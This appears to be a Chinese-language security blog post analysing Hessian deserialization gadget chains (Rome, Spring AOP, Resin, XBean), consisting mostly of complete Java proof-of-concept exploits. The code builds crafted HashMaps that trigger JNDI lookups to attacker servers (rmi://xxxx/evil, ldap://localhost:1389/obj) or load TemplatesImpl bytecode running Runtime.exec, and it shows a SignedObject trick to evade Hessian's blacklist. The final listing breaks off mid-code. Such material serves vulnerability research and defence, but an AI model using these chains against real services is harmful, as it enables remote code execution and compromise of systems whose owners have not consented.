漏洞点

Hessian 在反序列化的时候虽然不会像 Fastjson 会调用目标类的 gettersetter 方法,甚至构造方法,但是 Hession 在反序列化 Map 类型的数据时,会创建相应的 Map 对象,并将 KeyValue 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap ,将会使用 TreeMap

而熟悉 HashMap 链子的应该知道,HashMap.put() 方法是存在漏洞的链子的。回想之前在利用 HashMap.readObject() 的时候,不能直接使用 put 存入元素,而需要通过反射修改 HashMap 的属性来存入元素,就是为了避免 HashMap.put() 的时候提前触发漏洞,例如参考 Fastjson漏洞总结

此外, Hessian 提供了机制可以反序列化没有实现 Serializable 接口的类,这就使 Hessian 的链子可以更加广泛。

分析

常见的以 Map.put() 开头的链子有下面几个:

1
2
3
HashMap.put()->HashMap.putVal()->任意equals(Object)调用
HashMap.put()->任意hashCode()调用
TreeMap.put()->任意compareTo(Object)调用

也就是说 Hessian 相对比原生反序列化的利用链,有几个限制:

  • gadget chain 起始方法只能为 hashCode/equals/compareTo 方法
  • 利用链中调用的成员变量不能为 transient 修饰
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑

这几个限制也导致了很多 Java 原生反序列化利用链在 Hessian 中无法使用,甚至 ysoserial 中一些明明是 hashCode/equals/compareTo 触发的链子都不能直接拿来用。

目前常见的 Hessian 利用链在 marshalsec 中共有如下五个:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

Rome链

环境

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

调用链

Hession 反序列化 ->
HashMap.put() ->
EqualsBean.hashCode() ->
ToStringBean.toString() ->
任意 getter 调用。

poc

JdbcRowSetImpl

这里给出 JdbcRowSetImpl#getDatabaseMetaData() -> JNDI 注入的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.just;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Demo1 {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}

public static void main(String[] args) throws Exception{

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://xxxx/evil");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
// toStringbean.toString();
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
// equalsBean.hashCode();
HashMap<Object,Object> map = new HashMap();
map.put(equalsBean, "bbb");
setValue(toStringbean, "obj", jdbcRowSet);

//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
}
}

为了避免在 map.put(equalsBean, "bbb"); 就触发 JNDI ,我们这里可以通过反射来添加元素到 map 中。

1
2
3
4
5
6
7
8
9
10
11
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 1);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 1);
Array.set(o, 0, constructor.newInstance(0, equalsBean, "a", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

TemplatesImpl

但是上面的 poc 需要出网,所以通常被认为限制很高。所以还可以用 TemplatesImpl.getOutputProperties() 来直接触发 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.just;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Demo2 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}

public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = getTemplatesImpl();

ToStringBean toStringbean = new ToStringBean(Templates.class, templatesImpl);
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
HashMap<Object,Object> map = new HashMap();

Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 1);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 1);
Array.set(o, 0, constructor.newInstance(0, equalsBean, "a", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

setValue(toStringbean, "obj", templatesImpl);

//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
}
}

利用SignObject二次反序列化来RCE改进poc

防止 Hessian 在反序列化的时候把常用的 TemplatesImpl 放入了黑名单,这里可以通过 SignObject#getObject() 来二次反序列化绕过。这里正好 getObject() 就是一个 getter 方法。

不过需要目标存在 jdk 原生反序列化漏洞,而正好 rome 组件本身就有反序列化漏洞。参考 Rome链

poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.just;

import com.alibaba.fastjson.JSONArray;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class Demo3 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = new TemplatesImpl();
// TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}

public static Object getRomeExp() throws Exception {
TemplatesImpl templatesImpl = getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("justdoit");
setValue(badAttributeValueExpException, "val", toStringBean);
return badAttributeValueExpException;
}

public static void main(String[] args) throws Exception{
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) getRomeExp(), kp.getPrivate(), Signature.getInstance("DSA"));

ToStringBean toStringbean = new ToStringBean(signedObject.getClass(), signedObject);
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
HashMap<Object,Object> map = new HashMap();

Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 1);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 1);
Array.set(o, 0, constructor.newInstance(0, equalsBean, "a", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

setValue(toStringbean, "obj", signedObject);

//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
}
}

Spring AOP链

环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.1.3.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.6.10</version>
</dependency>

介绍

Spring AOP 组件中的 AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString() 方法可以触发 SimpleJndiBeanFactory#doGetSingleton() 中的 JNDI 注入。虽然这个链子中的类没有实现 Serializable 接口,但是 Hessian 提供了机制可以反序列化非 Serializable 接口的类,从而 Hessian 反序列化可以用这个链子。

此外,上面的链子还有另一个起点: AbstractPointcutAdvisor#equals() 方法触发 SimpleJndiBeanFactory#doGetSingleton() 中的 JNDI 注入。

POC

marshalsec 中这里第一个链子的 poc 触发了两次任意 equals() 调用: HotSwappableTargetSource.equals() 任意调用其它的 equals() 。原因是 HashMap#put() 中只有两个 map 中的 hashCode 一样才会对其调用 equals() 方法,而 HotSwappableTargetSource#hashCode() 返回的是一个恒定的值,就可以绕过这里 hash 的验证。当然,我们也可以不用这个类,用前面 fastjson 中用过的技巧,HashMap 里面放 HashMap ,构造内部 HashMapkeyhash 一样,这里不细说了。

第一个链子的方法调用栈:

三者的 poc 如下:(第一个链子的 poc 有两种写法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
package com.just;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class Demo4 {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


@SuppressWarnings({
"unchecked"
})
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static void main(String[] args) throws Exception {
// poc1();
// poc2();
poc3();
}

/**
* 链子1:不利用HotSwappableTargetSource
*/
public static void poc1() throws Exception {
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

setFieldValue(bf, "logger", new NoOpLog());
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(aif, "beanFactory", bf);
setFieldValue(aif, "name", jndiUrl);

AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(advice, "aspectInstanceFactory", aif);

AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(advisor, "advice", advice);

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = createWithoutConstructor(pcahCl);
setFieldValue(pcah, "advisor", advisor);

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
XString xString = new XString("xxx");
hashMap1.put("yy", pcah);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", pcah);

HashMap map = new HashMap();
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
hessian2Input.readObject();
}

/**
* 链子1:利用HotSwappableTargetSource
*/
public static void poc2() throws Exception {
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

setFieldValue(bf, "logger", new NoOpLog());
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(aif, "beanFactory", bf);
setFieldValue(aif, "name", jndiUrl);

AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(advice, "aspectInstanceFactory", aif);

AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(advisor, "advice", advice);

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = createWithoutConstructor(pcahCl);
setFieldValue(pcah, "advisor", advisor);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));


HashMap<Object, Object> map = new HashMap<>();
setFieldValue(map, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
hessian2Input.readObject();
}

/**
* 链子二
*/
public static void poc3() throws Exception{
String jndiUrl = "ldap://localhost:1389/obj";

SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
setFieldValue(bf, "logger", new NoOpLog());
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(jndiUrl);

HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null));
Array.set(tbl, 1, nodeCons.newInstance(0, pcadv, pcadv, null));
setFieldValue(s, "table", tbl);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
}

Resin链

环境

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>quercus</artifactId>
<version>4.0.45</version>
</dependency>

介绍

Resin 中的 com.caucho.naming.QName#toSting() 方法可以触发远程调用。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.just;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Demo6 {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe, "cause", null);
setFieldValue(cpe, "stackTrace", null);

cpe.setResolvedObj(new Reference("Foo", "test1", "test2"));

setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "foo", "bar");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
XString xString = new XString("xxx");
hashMap1.put("yy", qName);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", qName);

HashMap map = new HashMap();
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
hessian2Input.readObject();
}
}

XBean链

环境

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.5</version>
</dependency>

介绍

XBean 中的 ContextUtil$ReadOnlyBinding.toString() 方法可以触发远程方法调用。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package com.just;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class Demo5 {
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


@SuppressWarnings ( {
"unchecked"
} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static void main(String[] args) throws Exception {
Context ctx = createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("foo", "test", "test2");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);


HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
XString xString = new XString("xxx");
hashMap1.put("yy", binding);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", binding);

HashMap map = new HashMap();
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();

